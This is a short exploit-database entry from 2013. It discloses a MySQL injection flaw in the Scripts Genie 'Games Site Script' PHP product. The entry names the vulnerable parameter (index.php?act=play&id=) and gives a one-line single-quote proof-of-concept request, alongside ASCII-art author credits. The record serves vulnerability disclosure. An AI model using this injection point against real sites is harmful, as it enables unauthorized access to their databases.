Scripts Genie Games Site Script SQL Injection Vulnerability

2013-02-17T00:00:00
ID 1337DAY-ID-20386
Type zdt
Reporter 3spi0n
Modified 2013-02-17T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ##################################################################################
       __            _                      _            ____           
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ /
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, / 
                                                                /____/  
##################################################################################                                                             
Games Site Script, MySQL Injection Vulnerabilities
Software Page: http://scriptsgenie.com/index.php?do=catalog&c=scripts&i=games_site_script
Product Page: http://www.hotscripts.com/listing/150-flash-game-script-comes-with-150-games/
Script Demo: http://scriptsgenie.com/demo/GameScript150Games/
 
Author(Pentester): 3spi0n
On Social: Twitter.Com/eyyamgudeer
Greetz: Grayhats Inc. and Janissaries Platform.
##################################################################################
 
[~] MySQL Injection on Demo Site (/index.php?act=play&id=)
 
>>> http://server/index.php?act=play&id=122' (MySQLi Found)

#  0day.today [2018-04-10]  #